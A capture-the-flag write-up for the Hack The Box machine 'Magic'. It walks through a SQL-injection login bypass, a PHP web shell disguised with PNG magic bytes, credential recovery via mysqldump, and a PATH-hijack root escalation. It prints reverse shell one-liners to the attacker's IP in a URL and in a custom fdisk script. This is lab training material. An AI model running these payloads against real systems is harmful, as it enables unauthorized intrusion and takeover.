Hack The Box - Magic

August 11, 2023

Magic

Magic is a Linux machine featuring an image upload application with a login form that can be bypassed with a basic SQL injection. The insufficient validation within the image upload form can be exploited to upload a PHP web shell and get command execution, leading to reverse shell on the machine. Exploration of the system leads to the discovery of credentials which can be used to move laterally. Through further enumeration, an SUID binary can be found that executes various utilities without referencing their absolute paths, this can be leveraged to escalate privileges by hijacking the environment path with a custom script to get a root shell.

nmap scan:

nmap scan

Open ports:

  • 22 (SSH)
  • 80 (HTTP)

The webpage on port 80:

visit webpage

In the bottom left of the webpage above, there's a link to a login page to upload images. I bypassed the login with a basic SQL injection:

sql injection

After logging in, an image upload form was brought up:

upload form

I tried uploading a test.png image which was uploaded successfully:

test.png uploaded

uploaded image

Inspecting the code showed the directory where the images get uploaded: /images/uploads/:

/images/uploads/test.png

Next, I attempted to upload a PHP web shell: cmd.php, it was blocked and showed a message that said only JPG, JPEG, and PNG files are allowed:

attempted to upload cmd.php

There are several ways that applications filter file uploads, one way is checking the extension, so I tried uploading the web shell as: cmd.php.png. But, it was evident that at least a couple layers of filtering were taking place because the file was blocked again with the following message:

attempted to upload cmd.php.png

Another method of filtering file uploads is by checking the magic bytes which are a sequence of bytes typically at the beginning of a file, this allows programs a way to identify the type of data within a file.

For example, the magic bytes for a PNG file are: 89 50 4E 47 0D 0A 1A 0A

By default, PNG images will have these hexadecimal values which serve as a signature that identifies the file as a PNG. Running hexdump on a valid PNG image file test.png shows the magic bytes:

hexdump test.png

So, in order to bypass the filter that checks magic bytes, first I embedded the hex values 89 50 4E 47 0D 0A 1A 0A to the beginning of a file called test.php.png. Then, I added a PHP web shell script:

embed magic bytes and web shell

The PNG magic bytes and PHP web shell can be seen embedded in the file below:

hexdump-test-php.png

The web shell uploaded by successfully bypassing the filter for both the file extension and magic bytes:

test.php.png uploaded

I went to the following URL to run whoami within the cmd query parameter to confirm command execution:

http://10.10.10.185/images/uploads/test.php.png?cmd=whoami

/images/uploads/test.php.png?cmd=whoami

URL encoding (including special characters) the following reverse shell command established a shell as www-data:

bash -c 'bash -i >& /dev/tcp/10.10.14.25/443 0>&1'

Full URL with the encoded reverse shell one-liner:

http://10.10.10.185/images/uploads/test.php.png?cmd=bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E14%2E25%2F443%200%3E%261%27

www-data shell

I got permission denied when I tried to read the user flag in /home/theseus:

user flag permission denied

After looking around the system, I found MySQL credentials in var/www/Magic/db.php5:

db.php5

I couldn't connect to the server with the mysql because it wasn't on the system:

mysql not found

So, I checked for other mysql binaries:

list executables

mysqldump was on the system which is used to backup MySQL databases by producing SQL statements to recreate the database. Credentials could potentially be present within the output.

mysqldump revealed the password for theseus:

mysqldump

I logged in as theseus and was now able to read the user flag:

su - theseus user flag

Next, while looking for any potential paths to escalate privileges, I checked SUID binaries. Of the files listed, /bin/sysinfo seemed to stand out as it's not a typical SUID binary and members of the users group (which theseus is a member of) are granted execute permissions:

suid permission

Running the binary prints out various system info:

theseus@ubuntu:~$ sysinfo
====================Hardware Info====================
H/W path           Device     Class      Description
====================================================
                              system     VMware Virtual Platform
/0                            bus        440BX Desktop Reference Platform
/0/0                          memory     86KiB BIOS
/0/1                          processor  Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz

<...snip...>

====================Disk Info====================
Disk /dev/loop0: 91.4 MiB, 95805440 bytes, 187120 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

<...snip...>

====================CPU Info====================
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 85
model name      : Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz

<...snip...>

====================MEM Usage=====================
              total        used        free      shared  buff/cache   available
Mem:           3.8G        575M        1.7G        6.8M        1.5G        3.0G
Swap:          1.0G          0B        1.0G

I used strings /bin/sysinfo to find any useful printable strings within the binary, the output showed some commands that were being invoked with their relative paths:

strings /bin/sysinfo

Therefore, when the binary runs and reaches the point of the program where it executes these commands, the system will search through the directories listed in the PATH environment variable to find the specified command.

This means that the binary can be exploited to escalate privileges by writing a custom script with a reverse shell command for one of these utilities in a writable directory, modifying the environment PATH variable by prepending the writable directory, and executing the binary, leading to a root shell.

Within /tmp I created a custom fdisk script:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.25/443 0>&1

I made it executable with chmod +x fdisk, then I added /tmp to the beginning of the PATH with export PATH=/tmp:$PATH:

modify path

Then, I executed sysinfo:

sysinfo

When the program gets to the Disk Info section, it will execute the custom fdisk script which sends a shell to my machine:

disk info

nc caught a root shell:

root


CTF Writeups | InfoSec Topics

Written by Mike Garrity

Email RSS